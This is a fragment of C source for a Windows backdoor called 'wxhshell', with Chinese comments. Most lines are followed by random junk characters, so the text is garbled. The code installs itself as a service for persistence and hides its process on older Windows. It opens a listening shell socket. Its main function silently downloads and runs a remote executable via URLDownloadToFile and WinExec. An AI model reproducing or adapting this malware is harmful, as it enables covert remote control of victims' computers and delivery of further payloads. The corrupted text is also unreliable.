DWORD BasePriority; {u7%Z}<0
ULONG UniqueProcessId; 8vP:yh@
ULONG InheritedFromUniqueProcessId; MqA%hlq
} PROCESS_BASIC_INFORMATION; |ji={
?U}Ml]0~
PROCNTQSIP NtQueryInformationProcess; `EFPY$9`D
8[2.HM$Y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KDt@Xi6||
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6LVJ*sjSy
'a&( r;
HANDLE hProcess; =aL=SC+
PROCESS_BASIC_INFORMATION pbi; .W[[Z;D
IdY\_@$ v
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hSBR9g
if(NULL == hInst ) return 0; 49/j9#hr
+i %,+3#6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u<}PcI.
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ux8:
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HTpoYxn(
^;KL`
if (!NtQueryInformationProcess) return 0; I $5*Puy#
IUK!b2!`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +y}4^3Vx^
if(!hProcess) return 0; `#v(MK{9+V
EUVB>%P
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !21#NCw
{9 PeBc
CloseHandle(hProcess); gy%/zbZx
T(n<@Ac]V
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x+mfQcSD&
if(hProcess==NULL) return 0; wF@mHv
.bwKG`F
HMODULE hMod; Hh|a(Zq,
char procName[255]; |G!P G6%1
unsigned long cbNeeded; ^+v6?%m
p-KMELB
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AdCi*="m
t&GjW6]W
CloseHandle(hProcess); ch^tq",1>
;,z[|"y
if(strstr(procName,"services")) return 1; // 以服务启动 Glt%%TJb
$d@_R^]X
return 0; // 注册表启动 'Fe1]B"Y
} s:4<wmu4=
8ec6J*b
// 主模块 ."8bW^:
int StartWxhshell(LPSTR lpCmdLine) z}L3//
{ \5k^zGF4o
SOCKET wsl; k!%[W,*
BOOL val=TRUE; g91X*$`]
int port=0; @A-*XJNS":
struct sockaddr_in door; Iy2KOv@a5
9PpPAF
if(wscfg.ws_autoins) Install(); c(]NpH
in
!W^b:qjJ
port=atoi(lpCmdLine); D$
>gAv
vCPiT2G
if(port<=0) port=wscfg.ws_port; hH=H/L_Z
y093-
WSADATA data; a0s6G3J+9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `2 vv8cg^
U?%1:-#F
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; K
>-)O=$s
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M- f)\`I
door.sin_family = AF_INET; 0Q2P"1>KT/
door.sin_addr.s_addr = inet_addr("127.0.0.1"); AbWnDqv
door.sin_port = htons(port); 3L;GfYr0
4bT21J37
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %B;e7
UJ
closesocket(wsl); [c{/0*
return 1; FIB 9W@oao
}
iMr Np
OZHQnvZ
if(listen(wsl,2) == INVALID_SOCKET) { ws{2 0
closesocket(wsl); L(a){<c
return 1; \xQ10\u
} 0K0[mC}ZwM
Wxhshell(wsl); /& qN yo
WSACleanup(); ]3+xJz~=
j'z}m+_?
return 0; 5CSihw/5
T8ga)BA
} b~M3j&
b
r"47i
// 以NT服务方式启动 (c{<JYEC
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %E!^SF?Y
{ tkN5|95
DWORD status = 0; ~AD%aHR
DWORD specificError = 0xfffffff; F?+K~['i
3#d5.Ut
serviceStatus.dwServiceType = SERVICE_WIN32; fgb%SIi?
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~"<AYJlO
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pH?tr
serviceStatus.dwWin32ExitCode = 0; {V> >a
serviceStatus.dwServiceSpecificExitCode = 0; rv(Qz|K@
serviceStatus.dwCheckPoint = 0; -^y$RJC
serviceStatus.dwWaitHint = 0; YQB. 3
HzW`j"\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CB<i
if (hServiceStatusHandle==0) return; YKjm_)8]w
Zcaec#
status = GetLastError(); -SZW[T<N"
if (status!=NO_ERROR) yJt0KUw@!
{ a<Ru )Q?=
serviceStatus.dwCurrentState = SERVICE_STOPPED; LX4*3c|i,
serviceStatus.dwCheckPoint = 0; I?).D?o
serviceStatus.dwWaitHint = 0; C
*\
=Q
serviceStatus.dwWin32ExitCode = status; .?gpIZv
serviceStatus.dwServiceSpecificExitCode = specificError; '(JSU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); MjO.s+I
return; D6 2xC5
} OygR5s +
yq3i=RB(
serviceStatus.dwCurrentState = SERVICE_RUNNING; vm3B>ACJ
serviceStatus.dwCheckPoint = 0; <i~MBy.
(
serviceStatus.dwWaitHint = 0; MX=mGfoa
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |.A#wjF9
} cU,]^/0Y
rt\i@}
// 处理NT服务事件,比如:启动、停止 A4}6hG#
VOID WINAPI NTServiceHandler(DWORD fdwControl) gAy,uP~,
{ $'SWH+G
switch(fdwControl) $6BD6\@
{ yu3T5@Ww
case SERVICE_CONTROL_STOP: P= e3f(M2
serviceStatus.dwWin32ExitCode = 0; =Q % F~
serviceStatus.dwCurrentState = SERVICE_STOPPED; *c\:ogd
serviceStatus.dwCheckPoint = 0; L*2YAIG
serviceStatus.dwWaitHint = 0; cx]&ae *
{ jQAK
?7':=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); __}j
{Buk
} mL!)(Bb
return; Q4gsOxP
case SERVICE_CONTROL_PAUSE: +?xW%omy
serviceStatus.dwCurrentState = SERVICE_PAUSED; ~ccwu
break; -}l iG
case SERVICE_CONTROL_CONTINUE: &N{XLg>
serviceStatus.dwCurrentState = SERVICE_RUNNING; /V66P@[>
break; /65ddt
case SERVICE_CONTROL_INTERROGATE: !n<vN@V*3d
break; %R%e0|a
}; 4I"p>FIkY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +w~<2Kt8
} pw^$WK
WU:~T.Su
// 标准应用程序主函数 [L.+N@M
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G(LGa2;Zg
{ ?GdoB7(%
?v]EXV3
// 获取操作系统版本 HPGMR4=ANS
OsIsNt=GetOsVer(); 5ua`5Hb;
GetModuleFileName(NULL,ExeFile,MAX_PATH); (#Vkk]-p
:iWW2fY
// 从命令行安装 PgNg1
if(strpbrk(lpCmdLine,"iI")) Install(); +tbG^w%
_f9XY
// 下载执行文件 ZK =`Y@
if(wscfg.ws_downexe) {
y.$/niQ%
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b?6-lYE>L
WinExec(wscfg.ws_filenam,SW_HIDE); _7j-y 9V
} d!+8
[P5+}@t
if(!OsIsNt) { o6JCy\Bx
// 如果时win9x,隐藏进程并且设置为注册表启动 9,7IsT8
HideProc(); ;^waUJ\Z
StartWxhshell(lpCmdLine); 3)jFv7LAU
} Te%2(w,B
else 3P{
d~2
if(StartFromService()) =!rdn#KH
// 以服务方式启动 \>Y2I 4x<
StartServiceCtrlDispatcher(DispatchTable); ![=C`O6K
else sW'SR
// 普通方式启动 L : hEt
StartWxhshell(lpCmdLine); 4Wz@^7|V5
p^QEk~qw
return 0; .>4Zt'gCt
} `)sC".b7
W @R\m=e2
.h!oo;@
jV83%%e
=========================================== 8lG@8tbW^
#t.)4$
zZrUS'8
clE_a?
{Kn:>l$*7
xign!=
" aS
]bTYJ'
z8HOig?
#include <stdio.h> ,>H(l$n
#include <string.h> gi26Dtk(h
#include <windows.h> E-P;3lS~
#include <winsock2.h> .M3]\I u
#include <winsvc.h> n<
npJ*
#include <urlmon.h> I[mlQmwsL.
u9-:/<R#}y
#pragma comment (lib, "Ws2_32.lib") q)Qd+:a7{
#pragma comment (lib, "urlmon.lib") &